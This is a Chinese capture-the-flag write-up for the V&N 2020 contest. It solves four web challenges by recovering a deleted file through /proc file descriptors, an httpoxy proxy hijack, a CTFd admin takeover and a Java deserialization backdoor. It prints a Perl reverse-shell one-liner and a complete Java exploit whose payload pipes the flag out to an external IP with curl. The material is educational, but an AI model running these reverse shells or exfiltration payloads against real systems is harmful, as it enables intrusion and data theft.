V&N公开赛2020 writeup

给赵师傅递茶, AK 是不可能 AK 的

checkin

首先是签到题, 先看一下代码

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

首先可以明确, 在我们执行命令的时候这个flag.txt已经被删了, 不存在什么条件竞争的

而我们观察一下程序的步骤

flag_file = open("flag.txt", "r")
....
os.system("rm -f flag.txt")

第一步先打开了文件, 然后再对文件删除, 看到这个就想起了一个远古的知识点, 我也不记得是学什么看到的了

https://blog.csdn.net/wyzxg/article/details/12654639

当程序打开一个文件, 会获得程序的文件描述符, 而此时如果文件被删除, 只会删除文件的目录项, 不会清空文件的内容, 原来的进程依然可以通过描述符对文件进行读取, 也就是说, 文件还存在内存里, 而具体的位置在

/proc/<pid>/fd/

下面用本地的例子举例

首先创建flag.txt

然后运行

python app.py

之后我们访问shell, 就可以看到文件已经被删除了

如何找到文件在内存中的位置呢, 利用lsof

lsof|grep flag.txt

其中第二列的3512就是<pid>

在程序中打开

cd /proc/3512/fd
ls -al

可以看到 3 就是我们需要的文件, 直接cat即可

不过这里有两个问题, 首先是如何反弹 shell

在做题的时候发现 (使用内网的linux labs), 在环境中执行

curl http://ip:port

却不能监听到访问, 一度怀疑不在内网, 还重开了两次

(错失一血 hhh

这里歪个楼, 在出题人的环境配置不对的情况下, 我们可以通过

ls|base64>>app.py

的方式来写入 app.py, 从而不用反弹 shell 也可以看到回显, 当然赵师傅没留下这个机会(x

上网搜了很多个反弹 shell 的 payload

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html

最后找到一个能用的

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

然后成功返回 shell, 但是发现第二个问题, 上面没有lsof, ps也没有反应

进去

cd /proc/

看了一下, 发现只有几个, 就直接遍历一下 hhhh

很快就能看到了

TimeTravel

代码很简洁, 很赵师傅

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

我们先看熟悉的部分, 下面可以看到有读文件和phpinfo的地方, 我们就先看phpinfo

没有什么有意思的地方( 大概

然后我们就读文件吧, 这种程序的结构和 tp 很像, 我们首先读一下

composer.json

可以明确的是, 程序代码这么少, 肯定是组件洞, 总不能一个highlight_file就能 RCE 是吧 hhhh

但是不急, 继续读一读, 我很好奇中间的这个

http://127.0.0.1:5000/api/eligible

是什么, 这个怎么读呢, 我们知道 docker 一般会有个start.sh, 经常会在根目录或者/tmp或者~, 试一下就会发现在根目录

然后就能看到程序的路径, 读一下

/srv/app.py

这里题目已经很明确了, 只要等到 2050 年就可以拿到 flag, 因此这里我就等了

(xxx

读完了源码我们去看看原来的那个组件的版本, 有没有什么漏洞

搜一下很快就会发现下面这些东西

https://httpoxy.org/

https://www.laruence.com/2016/07/19/3101.html

就是说这个程序会将请求头中的

PROXY:ip:port

注册为全局变量, 类似于

http_proxy=ip:port command

所以我们只需要劫持一下返回即可

Linux labs里面, 先建一个index.php

<?php
$arr = array("success"=>true);
header("Content-Type:application/json");
echo json_encode($arr);

然后运行

php -S 0:2333

有师傅后面问到, 这里提一下, 代理并不需要和原来的端口以及路径一致, 只需要给一个合适的返回就可以了, 而这个命令是启动 php 内置的一个 web 服务器, 如果文件名为index.php

我们可以通过

http://ip:port/

来访问, 如果是其他的命名则需要

http://ip:port/filename.php

这样来访问, 因此这里必须要设置为index.php

后面加上请求头访问即可

HappyCTFd

看到就猜是 CTFd 的漏洞了, 毕竟前段时间刚爆了一个

https://www.colabug.com/2020/0204/6940556/

大概就是说, 在忘记密码验证的时候, 会对用户名进行

strip()

的操作, 那么我们只需要注册一个

admin

的账号, 然后忘记密码即可接管管理员的账号(需要使用内网邮件系统)

这个就不演示了, 登录后可以进去管理界面, 搭过 CTFd 的应该都知道, 他里面有一个

Backup

的功能, 会把所有的记录备份下来, 我们直接用它下载全部内容

就可以看到 flag 了

EasySpringMVC

是个 java 题, 人生第一个正经 java 题, 然而没做出来—

先看一下代码, 我们可以使用jd-gui打开这个 war 包

看一眼web.xml

看不出啥有用的, 就去翻代码, 为了好看一点我复制出来在 vscode 看了

WEB-INF\classes\com\filters\ClientInfoFilter.java

可以看到有这段, 明显是一个反序列化构造, 可以伪造 cookie 变成管理员

编写 exp 如下

import java.io.*;
import java.util.Base64;
import com.tools.*;
public class test {
public static void main(String[] args) {
Base64.Encoder encoder = Base64.getEncoder();

try {
ClientInfo cinfo = new ClientInfo("admin", "webmanager", "CC79398F535DB34F13B667D3C079BF00");
byte[] bytes = Tools.create(cinfo);
String payload = encoder.encodeToString(bytes);
System.out.println(payload);

} catch (Exception e) {
e.printStackTrace();
}

}
}



class Tools implements Serializable {
private static final long serialVersionUID = 1L;

public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}

private String testCall;

public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[]) obj)).start();
}
}

还需要把ClientInfo类放在

com/tools/ClientInfo.java

把构造类的第三个参数设置为你的 SESSIONID 即可

运行后将输出的 base64 填到 cookie 就可以了

然后我们就能获得文件上传的机会, 但是问题就在这里, 我经过很多次尝试

发现只能上传在

/tmp

目录下

其他的目录就会permission denied

而我们的调用是这样的

public class PictureController
{
@RequestMapping({"/showpic.form"})
public String index(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String file) throws Exception {
if (file == null)
file = "showpic.jsp";
String[] attribute = file.split("\\.");
String suffix = attribute[attribute.length - 1];
if (!suffix.equals("jsp")) {
boolean isadmin = ((ClientInfo)httpServletRequest.getSession().getAttribute("cinfo")).getName().equals("admin");
if (!isadmin && (!suffix.equals("jpg") || !suffix.equals("gif"))) {
return "onlypic";
}
show(httpServletRequest, httpServletResponse, file);
return "showpic";
}

StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < attribute.length - 1; i++) {
stringBuilder.append(attribute[i]);
}
String jspFile = stringBuilder.toString();
int unixSep = jspFile.lastIndexOf('/');
int winSep = jspFile.lastIndexOf('\\');
int pos = (winSep > unixSep) ? winSep : unixSep;
jspFile = (pos != -1) ? jspFile.substring(pos + 1) : jspFile;
if (jspFile.equals("")) {
jspFile = "showpic";
}
return jspFile;
}

可以看到主要分两部分, 一部分是后缀名为jsp

StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < attribute.length - 1; i++) {
stringBuilder.append(attribute[i]);
}
String jspFile = stringBuilder.toString();
int unixSep = jspFile.lastIndexOf('/');
int winSep = jspFile.lastIndexOf('\\');
int pos = (winSep > unixSep) ? winSep : unixSep;
jspFile = (pos != -1) ? jspFile.substring(pos + 1) : jspFile;
if (jspFile.equals("")) {
jspFile = "showpic";
}
return jspFile;

搜了搜是来自一个挺官方的库, 没啥方法可以用, 这个jspFile后面会经过

就会变成

/WEB-INF/*.jsp

很遗憾这个文件夹我们是没有能力上传的, 并且前面还有一个

String[] attribute = file.split("\\.");
String suffix = attribute[attribute.length - 1];

去掉所有的., 也不能目录穿越, 而如果后缀不是jsp

String[] attribute = file.split("\\.");
String suffix = attribute[attribute.length - 1];
if (!suffix.equals("jsp")) {
show(httpServletRequest, httpServletResponse, file);
return "showpic";
}

show 方法如下

private void show(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String filename) throws Exception {
httpServletResponse.setContentType("image/jpeg");

InputStream in = httpServletRequest.getServletContext().getResourceAsStream("/WEB-INF/resource/" + filename);
if (in == null) {
in = new FileInputStream(filename);
}
ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
byte[] b = new byte[1024];
while (in.read(b) != -1) {
servletOutputStream.write(b);
}
in.close();
servletOutputStream.flush();
servletOutputStream.close();
}

首先第一个获取的地方

InputStream in = httpServletRequest.getServletContext().getResourceAsStream("/WEB-INF/resource/" + filename);

这个函数当参数是/开始, 就不能穿越到更高的目录, 也就是最多在/WEB-INF/同级, 包含不到/tmp目录, 能用的只有下面的任意文件读了

in = new FileInputStream(filename);

但是这题是需要 RCE 的, 有个/readflag

这个题做了一天, 都没有进展, 尝试了很多后缀名, 但是都无法解析

AK 这辈子都不可能 AK 的

解题

临近结束的时候看到了洞 hhh

在 Tools 类的这里

其实就是个后门, 但是一直没注意到(x, 要利用这个函数的话, 我们需要反序列化一个Tools

然后问题就来了, 打到比赛结束一直没成功, 和@杨大树以及@P3rh4ps两位师傅交流了一下, 可以通过重写 writeObject 方法来实现

或者这里也可以直接写

道理都是一样的, 都是通过构造一个String[]对象来传给ProcessBuilder进行执行, 执行的部分则是将需要空格分隔的地方, 分隔成不同的字符串, 例如

/bin/sh -c "curl http://ip:port/`/readflag`"
{"/bin/sh", "-c", "curl http://ip:port/`/readflag`"}

完整的 exp 如下

Tools.java
package com.tools;

import java.io.*;

public class Tools implements Serializable {
private static final long serialVersionUID = 1L;

public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}

private String[] testcall={"/bin/sh","-c","curl http://174.0.218.211:2333/`/readflag`"};
public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[]) obj)).start();

}

private void writeObject(ObjectOutputStream out) throws IOException {
String[] cmd = {"/bin/sh","-c","curl http://174.0.218.211:2333/`/readflag`"};
out.writeObject(cmd);
}
}

生成的部分

exp.java
import java.io.*;
import java.util.Base64;
import com.tools.*;
public class exp {
public static void main(String[] args) {
Base64.Encoder encoder = Base64.getEncoder();
try {
Tools cinfo = new Tools();
byte[] bytes = Tools.create(cinfo);
String payload = encoder.encodeToString(bytes);
System.out.println(payload);
} catch (Exception e) {
e.printStackTrace();
}

}
}

重新下发了一个环境, 将生成的部分放到 cookie, 就可以接受 flag 了

或者将输出写到/tmp/下, 然后通过任意文件读拿 flag 也可

再次感谢两位师傅的帮助和赵师傅的题目


作者: cjm00n
地址: https://cjm00n.top/CTF/vnctf-2020-writeup.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

高校战疫分享赛Writeup 新春公益赛2020Writeup

评论